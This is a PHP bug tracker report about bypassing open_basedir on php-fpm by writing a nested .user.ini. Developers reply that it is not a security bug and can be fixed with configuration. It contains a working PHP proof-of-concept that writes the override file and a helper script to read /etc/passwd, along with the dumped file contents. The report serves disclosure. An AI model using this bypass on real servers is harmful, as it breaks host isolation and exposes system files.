php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72280 open_basedir could be bypassed if it's set by .user.ini
Submitted: 2016-05-28 06:37 UTC Modified: 2016-05-28 08:30 UTC
From: firesun dot cn at gmail dot com Assigned:
Status: Not a bug Package: Safe Mode/open_basedir
PHP Version: Irrelevant OS: Ubuntu
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: firesun dot cn at gmail dot com
New email:
PHP Version: OS:

 

 [2016-05-28 06:37 UTC] firesun dot cn at gmail dot com
Description:
------------
On php-fpm we could set the open_basedir by ".user.ini". 
For example, I have "open_basedir=/var/www/html/" in /var/www/html/.user.ini. I means all the phps in /var/www/html/ should obey the rules. Unfortunately, the setting could be overwritten.
I could create a directory "attack" and put "open_basedir=/" in /var/www/html/attack/.user.ini and the phps in /var/www/html/attack/ could bypass the open_basedir set by "/var/www/html/.user.ini".

What's more, all these things could be done in a evil php which is located in /var/www/html/. (It's important that the evil php and .user.ini are in the same directory and the evil php could ignore the setting set by .user.ini) The exp below shows a example how to bypass the open_basedir setting and successfully read the file.

Test script:
---------------
<?php 
@set_time_limit(0);
@ignore_user_abort(true);
@ini_set('max_execution_time', 0);
echo "normal<br>";
echo file_get_contents("/etc/passwd");
echo "<br><br>";
echo "attack<br>";
mkdir("attack/",0777); 
file_put_contents("attack/.user.ini","open_basedir=/");
file_put_contents("attack/attack.php",'<?php echo file_get_contents("/etc/passwd");');
sleep(ini_get("user_ini.cache_ttl")+1);
$url=$_SERVER['REQUEST_SCHEME'].'://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; 
$url=dirname($url)."/attack/attack.php";
echo file_get_contents($url);
?>

Expected result:
----------------
I should not see any output.

normal


attack

Actual result:
--------------
The exp successfully read the file.

normal


attack
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:109::/home/syslog:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false uuidd:x:106:111::/run/uuidd:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-05-28 07:22 UTC] rasmus@php.net
-Status: Open +Status: Not a bug
 [2016-05-28 07:22 UTC] rasmus@php.net
open_nasedir is not a security feature meant to protect users against other users on the same server. It is a safety net for applications to make sure they can not be tricked into reading or writing outside of the configured directories. If the attacker already has access to create or modify files on the same server then there is no need for an open_basedir attack. They are already in.
 [2016-05-28 07:35 UTC] firesun dot cn at gmail dot com
There exist many people using lnmp or others to manage their websites. And lnmp uses .user.ini to isolate different virtual host. 
What it means? It means even the attack already has access to create or modify files on one virtual host, he could not access other virtual host although he is in.
But in this case, the setting is useless. Is it not a security problem?
 [2016-05-28 08:27 UTC] remi@php.net
Yes: bad configuration create security issue.

Use php_admin_value to forbid redefinition in .user.ini.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Apr 20 01:01:28 2024 UTC